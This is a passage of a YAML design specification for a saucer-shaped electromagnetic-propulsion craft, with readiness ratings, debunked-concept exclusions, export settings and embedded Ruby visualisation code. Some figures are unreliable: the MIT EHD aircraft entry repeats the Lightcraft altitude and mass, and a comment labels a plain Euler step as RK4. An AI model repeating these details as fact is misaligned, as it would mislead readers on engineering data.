reference: "NASA NEXT-C performance baseline"
performance:
specific_impulse: {target: 4220, unit: seconds}
thrust_range: {min: 25, max: 235, unit: "mN per thruster"}
power_range: {min: 0.6, max: 7.4, unit: kW}
efficiency: {target: 0.70, unit: ratio}
total_impulse: {min: 17, max: 18, unit: "million N·s per thruster"}
exhaust_velocity: {min: 30, max: 40, unit: "km/s"}
mass:
thruster: {max: 14, unit: kg}
power_processing: {max: 36, unit: kg}
materials:
grids: [molybdenum, carbon_carbon_composite]
discharge_chamber: pyrolytic_graphite
structure: carbon_fiber_reinforced_polymer
challenges:
- grid_erosion_from_ion_impingement
- xenon_cost_850_usd_per_kg
- power_processing_complexity
- low_thrust_density_long_mission_durations
pulsed_plasma_thruster:
<<: *trl_assessment
level: 7-9
flight_heritage: "Zond 2 (1964), EO-1 (2000-2002), FalconSat-3 (2007)"
last_demonstration: "CU Aerospace FPPT scheduled DUPLEX Sept 2025"
readiness_date: now
rank: 3
realism_score: 9
physics: "Capacitor discharge ablates PTFE, Lorentz force (j×B) accelerates plasma"
configuration:
geometry: distributed_modules_embedded_in_hull
application: attitude_control_and_secondary_propulsion
integration: teflon_fuel_bars_in_structural_panels
performance:
power: {min: 1, max: 150, unit: W_average}
impulse_bit: {min: 10, max: 100, unit: "μN·s per pulse"}
specific_impulse_ptfe: {min: 1000, max: 1400, unit: seconds}
specific_impulse_gas: {max: 5000, unit: seconds}
efficiency: {min: 0.15, max: 0.30, unit: ratio}
pulse_rate: {min: 1, max: 10, unit: Hz}
materials:
propellant: ptfe_teflon
electrodes: [tungsten, carbon]
insulators: ceramic
capacitors: compact_high_voltage
advantages:
- completely_solid_state
- propellant_embedded_in_structure
- 60_years_flight_heritage
- ideal_cubesat_to_small_satellite
# TRL 4-5 - LABORATORY VALIDATED
mpd_superconducting:
<<: *trl_assessment
level: 4-5
flight_heritage: "EPEX on Space Flyer Unit (1995-1996) only flight test"
last_demonstration: "150 kW superconducting MPD, 76.6% efficiency, 2021"
readiness_date: 5-10 years
rank: 4
realism_score: 8
physics: "High-current arc creates self-field; superconducting magnets multiply efficiency 5-10×"
configuration:
geometry: central_cluster_with_toroidal_hts_magnets
placement: central_hub_fires_through_peripheral_ports
saucer_advantage: "Disc accommodates large magnet mass in hub"
magnet_type: rebco_hts_at_77k_or_20k
performance_demonstrated_2021:
power: {demonstrated: 150, target: 1000, theoretical_max: 30000, unit: kW}
thrust: {at_150kw: 4, theoretical: 200, unit: N}
specific_impulse: {demonstrated: 5714, unit: seconds}
efficiency: {demonstrated: 0.766, applied_field: 0.56, unit: tesla}
exhaust_velocity: {demonstrated: 56, unit: "km/s"}
materials:
superconductor: rebco_tape_rare_earth_barium_copper_oxide
cathode: [tungsten, thoriated_tungsten]
anode: [graphite, tungsten, refractory_metals]
cooling: [liquid_nitrogen, cryocooler_to_77k]
reference: "Commonwealth Fusion 20T at 20K REBCO validates magnet tech"
challenges:
- cryogenic_cooling_77k_for_rebco
- electrode_erosion_above_100_a_per_cm2
- power_system_mass_for_mw_class
- thermal_management_multi_mw_dissipation
cost_estimate: {development: "200M-800M USD", timeline: "5-10 years"}
atmospheric_mhd:
<<: *trl_assessment
level: 3-4
flight_heritage: none
last_demonstration: "NASA MAPX 50% efficiency, 80% velocity increase"
readiness_date: 10-15 years
rank: 5
realism_score: 7
physics: "Lorentz force (j×B) on ionized air; disc geometry enables 360° electrode placement"
configuration:
geometry: circumferential_segmented_faraday_electrodes
current_path: diagonal_for_hall_neutralization
magnet: central_2t_electromagnet_water_cooled_or_sc
ionization: [arc_heater, rf_discharge, alkali_seeding_cs_k]
saucer_advantage: "OPTIMAL GEOMETRY - uniform radial acceleration, natural Coandă airfoil"
reference: "Subrata Roy WEAV research explicitly identifies disc as ideal"
performance_nasa_mapx:
power: {min: 1500, max: 30000, unit: kW}
global_efficiency: {demonstrated: 0.50, unit: ratio}
velocity_increase: {demonstrated: 0.80, unit: ratio}
exhaust_velocity: {min: 15, max: 100, unit: "km/s"}
altitude: {air_breathing: [0, 24384], unlimited_with_propellant: true, unit: m}
materials:
plasma_facing: [zrb2, hfb2, uhtc_composites]
electrodes: [tungsten, graphite]
magnets: rebco_for_weight_reduction
power_electronics: sic_semiconductor
related_programs:
darpa_pump: "20 Tesla REBCO for undersea MHD - magnet tech proven"
nasa_mapx: "Magnetohydrodynamic Augmented Propulsion Experiment"
lightcraft: "Leik Myrabo MHD disc concepts"
challenges:
- mw_class_compact_power_generation
- air_ionization_penalty_below_mach_12
- electrode_erosion_atmospheric_plasma
- aircraft_integration_multi_mw_systems
cost_estimate: {development: "500M-2B USD", timeline: "10-15 years"}
vasimr_electrodeless:
<<: *trl_assessment
level: 5-6
flight_heritage: none
last_demonstration: "VX-200 200 kW ground test, 72% efficiency"
readiness_date: 10-20 years
rank: 6
realism_score: 7
physics: "Helicon RF ionization + ICH heating to 1-2M K + magnetic nozzle"
configuration:
geometry: central_engine_with_sc_magnetic_nozzle
plasma: toroidal_confinement_compatible_with_disc
isp: variable_for_mission_optimization
performance_vx200:
power: {demonstrated: 200, unit: kW}
thrust: {min: 5.7, max: 5.8, unit: N}
specific_impulse: {target: 5000, unit: seconds}
exhaust_velocity: {target: 50, unit: "km/s"}
efficiency: {demonstrated: 0.72, uncertainty: 0.09, unit: ratio}
power_density: {min: 5, unit: "MW/m²"}
challenges:
- requires_200plus_kw_nuclear_or_solar
- superconducting_magnet_cryogenics
- plasma_detachment_from_nozzle
- iss_test_repeatedly_delayed_decades
materials:
coils: rebco_superconducting
antenna: [copper, ceramics]
propellant: [argon, hydrogen]
thermal: advanced_management_required
# TRL 2-4 - EARLY RESEARCH
electrohydrodynamic_corona:
<<: *trl_assessment
level: 6
flight_heritage: "MIT sustained EHD aircraft flight 2018"
last_demonstration: "MIT aircraft 71m altitude, 50g vehicle"
readiness_date: 5-10 years_atmospheric_only
rank: 7
realism_score: 6
physics: "Corona discharge ionizes air; ions accelerate through E-field creating ionic wind"
configuration:
geometry: concentric_ring_emitters_upper_mesh_collector_lower
electrode: wire_to_cylinder_geometry
control: multiple_zones_for_attitude
performance:
thrust_to_power: {min: 20, max: 100, unit: "mN/W"}
thrust_density_area: {max: 3.3, unit: "N/m²"}
thrust_density_volume: {max: 15, unit: "N/m³"}
voltage: {min: 10, max: 70, unit: kV}
efficiency_kinetic: {max: 0.02, unit: ratio}
thrust_to_weight: {max: 17, unit: ratio}
limitations:
- atmospheric_only_fails_vacuum
- altitude_degradation: "26 mN/W @ 1atm → 0.5 mN/W @ 20km"
- very_low_efficiency
- ozone_generation
materials:
emitters: [tungsten_wire, stainless_steel]
collectors: aluminum_mesh
insulators: high_voltage_ceramic
structure: lightweight_dielectric
application: "Low-altitude loitering, not space-capable"
laser_ablation_beamed:
<<: *trl_assessment
level: 5
flight_heritage: "Leik Myrabo Lightcraft 71m altitude 2000"
last_demonstration: "White Sands 9-10 kW laser demonstrations"
readiness_date: research_only
rank: 8
realism_score: 5
physics: "Ground laser heats air to 30,000°F, explosive plasma at 20-28 Hz"
configuration:
geometry: parabolic_lower_reflector_for_10_6um_co2
detonation: annular_chamber_around_perimeter
saucer_advantage: "Natural focal surface for parabolic geometry"
performance_white_sands:
laser_power: {min: 9, max: 10, unit: kW_pulsed}
vehicle_mass: {record: 0.0506, unit: kg}
altitude_achieved: {record: 71, unit: m}
coupling: {demonstrated: 56, unit: "μN/W"}
isp_theoretical: {min: 1000, max: 3660, unit: seconds}
limitations:
- requires_massive_ground_infrastructure
- atmospheric_beam_propagation
- tracking_difficulty_long_distance
- craft_size_limited_by_beam_power
application: "Demonstrations only; orbital delivery impractical (requires 100+ GW)"
plasma_window_interface:
<<: *trl_assessment
level: 3-4
flight_heritage: none
last_demonstration: "Brookhaven 2.5 atm differential, 3mm aperture"
readiness_date: 15-25 years
rank: 9
realism_score: 5
physics: "DC arc at 12,000K creates viscous seal - density 1/40 atm while matching pressure"
configuration:
geometry: ring_plasma_around_disc_perimeter
application: drag_reduction_and_thermal_protection
enables: vacuum_propulsion_through_atmosphere
performance_brookhaven:
pressure_differential: {min: 2.5, unit: atmospheres}
aperture_tested: {diameter: 3, unit: mm}
power_per_inch: {approximately: 20, unit: kW}
pressure_reduction: {factor: 228.6, vs: differential_pumping}
challenges:
- scaling_to_spacecraft_apertures
- plasma_stability_high_dynamic_pressure
- integration_with_propulsion_exhaust
application: "Enabling technology for multi-regime operation, not primary propulsion"
solar_sail_lcd:
<<: *trl_assessment
level: 9
flight_heritage: "IKAROS (2010), LightSail 2 (2019), NASA ACS3 (2024)"
last_demonstration: "NASA Solar Cruiser 1200+ m² planned 2025+"
readiness_date: now
rank: 10
realism_score: 9_deep_space_3_maneuvering
physics: "Solar radiation pressure 9 μN/m² at 1 AU; LCD reflectance control"
configuration:
geometry: deployable_disc_shaped_sail
control: lcd_panels_for_attitude_no_moving_parts
integration: embedded_thin_film_solar_cells
saucer_advantage: "Natural disc geometry, IKAROS heritage"
performance_ikaros_lightsail:
areal_density: {approximately: 10, unit: "g/m²"}
thrust_per_200m2: {approximately: 1, unit: mN_at_1au}
specific_impulse: infinite_propellant_free
attitude_control: 80_lcd_panels_demonstrated
limitations:
- extremely_low_thrust
- requires_large_area
- deployment_complexity
- solar_pressure_decreases_r_squared
application: "Deep space cruise, not near-Earth maneuvering"
frc_plasma:
<<: *trl_assessment
level: 2-3
flight_heritage: none
last_demonstration: "TAE Technologies, Helion fusion experiments"
readiness_date: 15-25 years
rank: 11
realism_score: 5
physics: "Self-organized plasma torus with reversed B-field; compact high-beta confinement"
configuration:
geometry: toroidal_frc_in_central_hub
ejection: magnetic_nozzle_plasmoid_acceleration
saucer_advantage: "Axisymmetric matches disc structure"
performance_theoretical:
specific_impulse: {min: 2000, max: 10000, unit: seconds}
efficiency: {projected: 0.50, max: 0.70, unit: ratio}
plasma_density: {min: 1e19, max: 1e21, unit: "m⁻³"}
confinement: self_organized_field_reversal
challenges:
- plasmoid_stability_during_acceleration
- magnetic_nozzle_efficiency
- plasma_detachment
- trl_2_3_propulsion_application
application: "Fusion research validates physics; propulsion 15-25 years out"
piezoelectric_array:
<<: *trl_assessment
level: 4
flight_heritage: none
last_demonstration: "Laboratory demonstrations only"
readiness_date: never_for_primary_propulsion
rank: 12
realism_score: 3
physics: "Distributed piezo elements create acoustic forces for micro-propulsion"
performance:
coefficient_pmn_pt: {approximately: 2000, unit: "pC/N"}
frequency: {min: 1, max: 1000, unit: kHz}
force: {scale: micro_to_milli_newton}
power: {min: 1, max: 100, unit: W}
limitations:
- very_low_thrust
- complex_control
- structural_fatigue
- thermal_limitations
application: "Fine attitude control only, not primary propulsion"
dbd_flow_control:
<<: *trl_assessment
level: 7
flight_heritage: "Laboratory and wind tunnel demonstrations"
last_demonstration: "45-68% skin friction reduction turbulent flows"
readiness_date: 5-10 years_as_augmentation
rank: 13
realism_score: 7_drag_reduction_4_primary
physics: "AC plasma between surface electrodes creates body force in boundary layer"
configuration:
geometry: hull_surface_dbd_actuators
application: drag_reduction_and_virtual_shaping
benefit: reduced_power_for_primary_propulsion
performance:
friction_reduction: {min: 0.30, max: 0.68, unit: ratio}
power: {min: 10, max: 100, unit: "W/m²"}
voltage: {min: 5, max: 20, unit: kV_ac}
frequency: {min: 1, max: 10, unit: kHz}
application: "Augmentation system, not primary propulsion"
biefeld_brown:
<<: *trl_assessment
level: 4
flight_heritage: "MIT EHD aircraft (ionic wind mechanism)"
last_demonstration: "Army Research Lab 2002 confirmed ionic wind only"
readiness_date: subsumed_by_ehd
rank: 14
realism_score: 4
physics: "Asymmetric capacitor produces ionic wind (electrohydrodynamics), NOT anti-gravity"
clarification: "Biefeld-Brown effect is EHD with capacitor geometry. No exotic physics."
performance:
voltage: {min: 25000, max: 200000, unit: V}
mechanism: ion_wind_confirmed
atmospheric_only: true
efficiency: {max: 0.01, unit: ratio}
application: "Historical interest exceeds utility; subsumed by EHD (Concept 7)"
mhd_reentry_power:
<<: *trl_assessment
level: 2-3
flight_heritage: none
last_demonstration: "Ground facilities only, DIA research"
readiness_date: 15-25 years
rank: 15
realism_score: 5
physics: "Reentry plasma flow through B-field generates MW power while creating drag"
configuration:
geometry: surface_mhd_on_disc_leading_edge
dual_use: deceleration_plus_power_recovery
saucer_advantage: "Large cross-section for energy capture"
performance_dia_projections:
power_extraction: {scale: mw_class_from_reentry}
drag_augmentation: {min: 2, max: 5, factor: "× baseline"}
operating_regime: {min: 10, unit: mach_plus}
plasma_conductivity: {min: 1000, max: 10000, unit: "S/m"}
challenges:
- extreme_thermal_environment
- magnet_protection
- power_conditioning_harsh_environment
- trl_2_3_no_flight_demo
application: "Atmospheric entry, not cruise propulsion"
debunked_concepts_excluded:
note: "Following concepts fail physics validation and must not be pursued"
emdrive_rf_cavity:
status: definitively_debunked
evidence: "Dresden University 2021 battery-isolated thrust balance: ZERO thrust within measurement accuracy, 3+ orders magnitude below claims"
physics_violation: conservation_of_momentum
explanation: "NASA Eagleworks positive results were thermal drift artifacts in mounting hardware"
mach_effect:
status: definitively_debunked
evidence: "Dresden 2021 identified forces as vibrational artifacts, not real thrust"
physics_violation: "Inconsistent with Einstein field equations"
quantum_vacuum_plasma:
status: pseudoscience
evidence: "Sean Carroll (Caltech): 'quantum vacuum virtual plasma' not meaningful physics concept"
explanation: "All claimed effects are experimental error"
podkletnov_gravity_shielding:
status: failed_replication
evidence: "Toronto, Sheffield, NASA, Tajmar all produced null results"
explanation: "Original claims likely instrumentation artifacts"
pais_inertial_mass_reduction:
status: disproven
evidence: "Navy testing 3 years, ~$500K concluded: 'Pais Effect could not be proven'"
patent_status: expired_non_payment
classification: pseudoscience
alcubierre_warp:
status: requires_unphysical_matter
evidence: "Needs exotic matter with negative energy density - never observed, may not exist"
math_status: "GR-consistent but physically impossible"
validation:
propulsion_selection_criteria:
physics_validity:
weight: 0.30
checks: [conservation_laws, experimental_validation, peer_review]
veto: violates_known_physics
technology_readiness:
weight: 0.25
metrics: [trl_level, flight_heritage, lab_demonstrations]
threshold: trl_3_minimum
performance:
weight: 0.20
metrics: [thrust_to_power, specific_impulse, efficiency]
scalability:
weight: 0.15
checks: [small_prototype_to_full_craft, power_requirements, mass_fraction]
cost:
weight: 0.10
factors: [development_cost, manufacturing, timeline]
technology_readiness_definitions:
trl_9: "Actual system flight proven through successful mission operations"
trl_7_8: "System prototype demonstrated in space environment"
trl_5_6: "Component or breadboard validated in relevant environment"
trl_3_4: "Component or breadboard validation in laboratory"
trl_1_2: "Basic principles observed and reported"
saucer_geometry_advantages:
note: "Disc/saucer configuration uniquely optimal for no-moving-parts electromagnetic propulsion"
electromagnetic_benefits:
circumferential_electrode_placement:
description: "360° uniform electrode distribution impossible with conventional aircraft"
systems: [hall_array, mhd_atmospheric, pulsed_plasma]
advantage: "Reaction forces distribute evenly across circular hull vs point loads"
axisymmetric_field_distribution:
description: "Natural symmetry for toroidal/dipole magnetic fields"
systems: [mpd_superconducting, vasimr, frc_plasma]
advantage: "Magnetic flux closure without edge effects"
omnidirectional_thrust_vectoring:
description: "Full 360° control through differential electrode activation"
systems: [hall_array, mhd, ehd_corona]
advantage: "No mechanical gimbals - electromagnetic steering only"
uniform_plasma_sheath:
description: "Symmetric plasma attachment around entire perimeter"
systems: [mhd_atmospheric, plasma_window]
advantage: "Eliminates asymmetric loading during atmospheric flight"
aerodynamic_benefits:
coanda_airfoil:
description: "Disc profile naturally creates lift via Coandă effect"
reference: "Subrata Roy WEAV - 'saucer provides greater lift than wing'"
mhd_synergy: "MHD-generated wind enhances Coandă circulation"
large_wetted_area:
description: "Maximum surface for MHD interaction with atmosphere"
systems: [mhd_atmospheric, ehd_corona, dbd_flow_control]
advantage: "Thrust scales with area - disc maximizes this"
minimal_frontal_area:
description: "Low drag at high speed vs conventional aircraft"
benefit: "Drag coefficient comparable to streamlined bodies"
structural_benefits:
central_mass_distribution:
description: "Heavy components (magnets, power) in central hub"
advantage: "Low moment of inertia for agility"
systems: [mpd_toroidal_magnets, nuclear_reactor, frc_chamber]
load_path_efficiency:
description: "Circular structure handles hoop stress naturally"
advantage: "Propulsion loads become circumferential tension"
thermal_management:
description: "Radial heat rejection from center to edge"
advantage: "Short conduction paths from hot core to radiating surface"
historical_validation:
v173_flying_pancake: "Vought 1942 - proven disc aerodynamics"
avrocar_vz9: "1959-1961 US Army disc with central thruster"
ekip_l1: "Russian disc research - aerodynamically stable"
nasa_mapx: "MHD experiment explicitly used disc-like test articles"
optimal_scale:
small_10m: "Electromagnetic effects scale favorably"
medium_25m: "Sweet spot for power-to-thrust ratio"
large_50m: "Maximum benefit from circumferential electrode span"
geometry:
saucer_configuration:
overall:
diameter: {min: 10, max: 50, unit: m}
thickness_center: {min: 2, max: 5, unit: m}
thickness_edge: {min: 0.5, max: 1.5, unit: m}
profile: lenticular_or_biconvex
hull_layers:
outer_tps:
material: carbon_phenolic_or_pica_x
thickness: {min: 50, max: 200, unit: mm}
gradient: density_graded
structural_shell:
material: mattergen_uhtc_composite
thickness: {min: 20, max: 80, unit: mm}
stiffeners: isogrid_or_orthogrid
thermal_barrier:
material: aerogel_or_microporous_insulation
thickness: {min: 50, max: 150, unit: mm}
inner_pressure_vessel:
material: aluminum_lithium_or_composite
thickness: {min: 10, max: 30, unit: mm}
mhd_thruster:
location: equatorial_ring_or_central_disc
channel_cross_section: {width: 0.5, height: 0.3, unit: m}
channel_length: {min: 1, max: 3, unit: m}
electrode_span: {target: 1, unit: m}
magnetic_circuit:
pole_pieces: soft_iron_or_cobalt_iron
coils: nbti_or_nb3sn_superconductor
cryostat: liquid_helium_or_cryocooler
parametric:
scaling:
small: {diameter: 10, crew: 2, thrust: 100, unit: kN}
medium: {diameter: 25, crew: 6, thrust: 500, unit: kN}
large: {diameter: 50, crew: 20, thrust: 2000, unit: kN}
optimization:
objectives: [minimize_mass, maximize_thrust_to_weight, maximize_loiter_time]
constraints: [thermal_limits, structural_integrity, em_field_strength]
visualization:
engine: mittsu
mittsu:
version: "0.4.0+"
renderer: opengl
scene:
background: 0x000000
fog: {type: exponential, color: 0x000011, density: 0.0001}
stars: procedural_skybox
camera:
type: perspective
fov: 60.0
near: 0.1
far: 10000.0
position: {x: 0, y: 50, z: 100}
look_at: {x: 0, y: 0, z: 0}
lighting:
ambient: {color: 0x202020, intensity: 0.2}
directional:
- {color: 0xffffff, intensity: 1.0, position: {x: 1000, y: 2000, z: 1000}, cast_shadow: true}
point:
- {color: 0xff8800, intensity: 0.8, position: {x: 0, y: 0, z: 0}, distance: 50, note: "Plasma glow"}
materials:
uhtc_hull:
type: mesh_standard
color: 0x334455
metalness: 0.8
roughness: 0.3
normal_map: procedural_grain_structure
electrode:
type: mesh_physical
color: 0xcccccc
metalness: 0.95
roughness: 0.05
clearcoat: 0.3
emissive: 0x442200
emissive_intensity: 0.5
plasma_volume:
type: mesh_physical
color: 0xff6600
transmission: 0.8
opacity: 0.4
emissive: 0xff8800
emissive_intensity: 2.0
ior: 1.0
magnetic_field_lines:
type: line_basic
color: 0x00ffff
opacity: 0.6
line_width: 2
plasma_visualization:
method: particle_system
particle_count: 10000
velocity_field: j_cross_b_vectors
color_by: temperature_or_density
field_lines:
source: magnetic_field_solver
integration: runge_kutta_4
density: 50_lines
controls:
type: orbit
enable_zoom: true
enable_pan: true
enable_rotate: true
auto_rotate: true
auto_rotate_speed: 0.5
rendering:
antialias: true
shadow_map: {enabled: true, type: pcf_soft}
hdr: true
bloom: {strength: 0.8, threshold: 0.8, radius: 0.5}
export:
step:
format: ap214
units: millimeters
coordinate_system: right_handed_z_up
assembly_structure: hierarchical
components:
- hull_outer_shell
- hull_inner_shell
- thermal_barrier
- mhd_channel
- electrodes
- magnetic_pole_pieces
- structural_stiffeners
metadata:
include: [material_specifications, manufacturing_notes, assembly_sequence]
stl:
format: binary
resolution: high_for_ceramic_printing
validation:
manifold_check: mandatory
minimum_wall_thickness: 5mm
overhang_analysis: {max_angle: 45, unit: degrees}
fea_mesh:
format: abaqus_inp
element_type: c3d10
element_size: {hull: 10, electrode: 2, plasma_interface: 0.5, unit: mm}
boundary_conditions:
- thermal_loads
- electromagnetic_loads
- structural_loads
- combined_environment
workflow:
phases:
discover:
inputs: [mission_requirements, thermal_envelope, electromagnetic_constraints]
process:
1: parse_requirements_to_property_targets
2: invoke_mattergen_uhtc_generation
3: filter_by_neutron_activation
4: predict_em_properties
5: estimate_synthesis_difficulty
outputs: [15_material_candidates]
validate:
adversarial_cascade:
security:
checks: [element_export_control, radioactive_screening, toxicity_assessment]
references: [itar, ear, reach]
veto: true
attacker:
checks: [thermal_shock_failure, plasma_induced_cracking, em_field_distortion, oxidation_runaway]
scenarios: [worst_case_reentry, electrode_arcing, coolant_loss]
veto: true
reliability:
checks: [synthesis_pathway_validation, phonon_stability, grain_boundary_integrity]
dft_validation: top_7_candidates
experimental_precedent: icsd_cross_reference
threshold: 0.95
performance:
checks: [thrust_density, specific_impulse, power_to_weight, thermal_efficiency]
simulations: [cfd_plasma, em_field, thermal_transient]
threshold: 0.85
outputs: [3_validated_candidates]
design:
propulsion_selection:
method: trl_weighted_multi_criteria_decision
criteria:
physics_validity: {weight: 0.30, veto: violates_conservation_laws}
technology_readiness: {weight: 0.25, threshold: trl_3_minimum}
performance: {weight: 0.20, metrics: [thrust_to_power, isp, efficiency]}
scalability: {weight: 0.15, checks: [prototype_to_full, power_scaling]}
cost: {weight: 0.10, factors: [development, timeline, manufacturing]}
selection_output:
primary: "Hall thruster array (TRL 9) OR ion cluster (TRL 9)"
secondary: "MPD superconducting (TRL 4-5) for high-power missions"
tertiary: "Atmospheric MHD (TRL 3-4) for dual-regime capability"
attitude_control: "Pulsed plasma distributed (TRL 7-9)"
cruise_augmentation: "Solar sail LCD (TRL 9)"
excluded_systems:
reason: physics_violation_or_debunked
list: [emdrive, mach_effect, quantum_vacuum, podkletnov, pais, alcubierre]
hull_geometry:
method: parametric_nurbs_surfaces
optimization: minimize_mass_subject_to_stress_and_em_constraints
propulsion_integration:
hall_ion: circumferential_or_central_placement
mpd: central_hub_with_toroidal_magnets
mhd: segmented_faraday_electrodes_in_hull
tools:
ruby: mittsu_geometry_builder
cad: openscad_or_freecad_api
electromagnetic_architecture:
hall_array:
units: {min: 8, max: 12}
placement: circumferential_360_degree
vectoring: magnetic_field_steering
power_per_unit: {min: 0.5, max: 100, unit: kW}
ion_cluster:
units: {min: 4, max: 8}
placement: central_hub
vectoring: differential_throttling
power_per_unit: {min: 0.6, max: 7.4, unit: kW}
mpd_option:
units: {min: 1, max: 4}
magnet: rebco_toroidal_at_77k_or_20k
power_per_unit: {min: 100, max: 1000, unit: kW}
mass_consideration: large_magnet_in_hub
mhd_option:
electrode: circumferential_segmented
magnet: central_2t_to_20t
ionization: [arc_heater, rf, alkali_seed]
power: {min: 1500, max: 30000, unit: kW}
power_system:
primary: compact_nuclear_kilopower_derivative
options:
kilopower: {power: [1, 10], unit: kWe, trl: 5}
scaled_kilopower: {power: [10, 100], unit: kWe, development: "5-10 years"}
megapower: {power: [1, 10], unit: MWe, development: "15-25 years"}
fallback: solar_array_with_battery_storage
voltage: high_voltage_dc_bus
conversion: sic_power_electronics
composite_layup:
uhtc_matrix: mattergen_output
fiber_reinforcement: sic_or_carbon
interface_engineering: bn_coating_for_crack_deflection
manufacturing:
process: chemical_vapor_infiltration
temperature: 1200 # K
pressure: 10 # kPa
duration: 100 # hours
outputs: [parametric_cad_assembly, simulation_results, manufacturing_procedures]
visualize:
mittsu_scene:
1: load_step_assembly
2: convert_to_mittsu_geometry
3: apply_material_properties
4: add_plasma_visualization
5: add_magnetic_field_lines
6: render_interactive_3d_view
7: export_animation_sequence
plasma_simulation:
solver: pic_or_mhd_solver
visualization: map_to_mittsu_particles
color_scheme: temperature_gradient
outputs: [interactive_window, animation_frames, field_line_plots]
export:
manufacturing_files:
hull: [step_for_cnc_machining, stl_for_ceramic_3d_printing]
electrodes: [step_for_electrode_discharge_machining, gcode_for_metal_printing]
magnetic_circuit: [step_for_conventional_machining, dwg_for_coil_winding]
material_datasheets:
format: master_mg_spacecraft_material_{id}.yml
include:
- composition_and_crystal_structure
- dft_validated_properties
- em_properties_with_field_dependence
- thermal_properties_vs_temperature
- synthesis_pathway_with_process_parameters
- neutron_activation_analysis
- cost_and_availability_assessment
simulation_setup:
fea: abaqus_input_deck
cfd: openfoam_case_directory
em: comsol_model_file
outputs: [manufacturing_files, material_datasheets, simulation_setups, assembly_instructions]
iterate:
convergence:
metrics: [thrust_to_weight, thermal_margin, em_efficiency, manufacturing_readiness]
multi_objective: pareto_frontier
max_iterations: 30
on_failure:
rollback: best_validated_state
adjust: relax_non_critical_constraints
escalate: after_5_failed_cycles
ruby_integration:
services:
spacecraft_materials_orchestrator:
path: app/services/spacecraft_materials_orchestrator.rb
responsibilities:
- parse_mission_requirements
- invoke_mattergen_for_uhtc
- apply_adversarial_validation
- coordinate_em_simulations
- generate_hull_geometry
- trigger_visualization
mittsu_spacecraft_visualizer:
path: app/services/mittsu_spacecraft_visualizer.rb
responsibilities:
- load_step_assembly
- construct_saucer_geometry
- add_plasma_effects
- add_magnetic_field_visualization
- render_to_window
- export_animation
example: |
require 'mittsu'
class MittsuSpacecraftVisualizer
def render_spacecraft(step_file:, plasma_data:, output_path:)
scene = Mittsu::Scene.new
camera = Mittsu::PerspectiveCamera.new(60.0, ASPECT, 0.1, 10000.0)
renderer = Mittsu::OpenGLRenderer.new(width: 1920, height: 1080)
# Load hull geometry from STEP
hull = StepImporter.load(step_file)
# UHTC material per master.yml spec
uhtc_material = Mittsu::MeshStandardMaterial.new(
color: 0x334455,
metalness: 0.8,
roughness: 0.3
)
hull_mesh = Mittsu::Mesh.new(hull.geometry, uhtc_material)
scene.add(hull_mesh)
# Add electrode with emissive glow
electrode_material = Mittsu::MeshPhysicalMaterial.new(
color: 0xcccccc,
metalness: 0.95,
roughness: 0.05,
emissive: 0x442200,
emissive_intensity: 0.5
)
electrode_geometry = create_electrode_geometry
electrode_mesh = Mittsu::Mesh.new(electrode_geometry, electrode_material)
scene.add(electrode_mesh)
# Plasma volume visualization
plasma_material = Mittsu::MeshPhysicalMaterial.new(
color: 0xff6600,
transmission: 0.8,
opacity: 0.4,
emissive: 0xff8800,
emissive_intensity: 2.0
)
plasma_geometry = create_plasma_volume
plasma_mesh = Mittsu::Mesh.new(plasma_geometry, plasma_material)
scene.add(plasma_mesh)
# Magnetic field lines
field_lines = generate_magnetic_field_lines(plasma_data[:b_field])
field_lines.each do |line|
line_geometry = Mittsu::Geometry.new
line.points.each { |p| line_geometry.vertices << Mittsu::Vector3.new(p.x, p.y, p.z) }
line_material = Mittsu::LineBasicMaterial.new(
color: 0x00ffff,
opacity: 0.6,
transparent: true
)
field_line_mesh = Mittsu::Line.new(line_geometry, line_material)
scene.add(field_line_mesh)
end
# Lighting
ambient = Mittsu::AmbientLight.new(0x202020, 0.2)
scene.add(ambient)
directional = Mittsu::DirectionalLight.new(0xffffff, 1.0)
directional.position.set(1000, 2000, 1000)
directional.cast_shadow = true
scene.add(directional)
# Plasma glow point light
plasma_light = Mittsu::PointLight.new(0xff8800, 0.8, 50)
plasma_light.position.set(0, 0, 0)
scene.add(plasma_light)
# Camera positioning
camera.position.set(0, 50, 100)
camera.look_at(Mittsu::Vector3.new(0, 0, 0))
# Render loop
renderer.window.run do
hull_mesh.rotation.y += 0.001
renderer.render(scene, camera)
end
# Export animation frames
export_animation_sequence(scene, camera, output_path)
end
private
def generate_magnetic_field_lines(b_field_data)
field_lines = []
seed_points = generate_seed_points_on_electrode_surface
seed_points.each do |seed|
points = integrate_field_line(seed, b_field_data)
field_lines << {points: points}
end
field_lines
end
def integrate_field_line(seed, b_field, steps: 100, dt: 0.1)
points = [seed]
current = seed.dup
steps.times do
b = interpolate_field(current, b_field)
b_normalized = b.normalize
# RK4 integration
current = current + b_normalized * dt
points << current.dup
break if current.length > 100 # Field line escape
end
points
end
end
step_importer:
path: app/services/step_importer.rb
dependencies: [opencascade_ruby_bindings, or_step_parser_gem]
example: |
class StepImporter
def self.load(filepath)
# Parse STEP AP214 file
parser = StepParser.new(filepath)
entities = parser.parse
# Extract B-rep geometry
shells = entities.select { |e| e.type == :closed_shell }
# Convert to Mittsu geometry
geometry = Mittsu::Geometry.new
shells.each do |shell|
shell.faces.each do |face|
triangulate_face(face).each do |triangle|
geometry.vertices.concat(triangle.vertices)
geometry.faces << Mittsu::Face3.new(
geometry.vertices.length - 3,
geometry.vertices.length - 2,
geometry.vertices.length - 1
)
end
end
end
geometry.compute_face_normals
geometry.compute_vertex_normals
OpenStruct.new(geometry: geometry)
end
end
plasma_physics:
mhd_equations:
continuity: "∂ρ/∂t + ∇·(ρv) = 0"
momentum: "ρ(∂v/∂t + v·∇v) = -∇p + J×B + μ∇²v"
energy: "∂(ρe)/∂t + ∇·(ρev) = -p∇·v + J·E - ∇·q"
maxwells: ["∇×E = -∂B/∂t", "∇×B = μ₀J", "∇·B = 0"]
ohms_law: "J = σ(E + v×B)"
boundary_conditions:
electrode_surface:
type: conducting_wall
current_density: specified_or_floating
temperature: calculated_from_heat_balance
insulator_surface:
type: dielectric
current_density: zero_normal_component
charge_accumulation: allowed
plasma_inlet:
type: mass_flow_specified
temperature: specified
velocity: calculated_from_continuity
plasma_outlet:
type: pressure_specified
outflow: zero_gradient
solver:
method: finite_volume
discretization: second_order_upwind
time_integration: implicit_euler_or_bdf2
coupling: iterative_segregated_or_monolithic
convergence:
residuals: {momentum: 1e-4, energy: 1e-5, em: 1e-6}
monitors: [thrust, power, efficiency]
testing:
simulations:
thermal:
software: openfoam_chtmultiregion
scenarios:
- hypersonic_reentry: {mach: 15, altitude: 40, duration: 600}
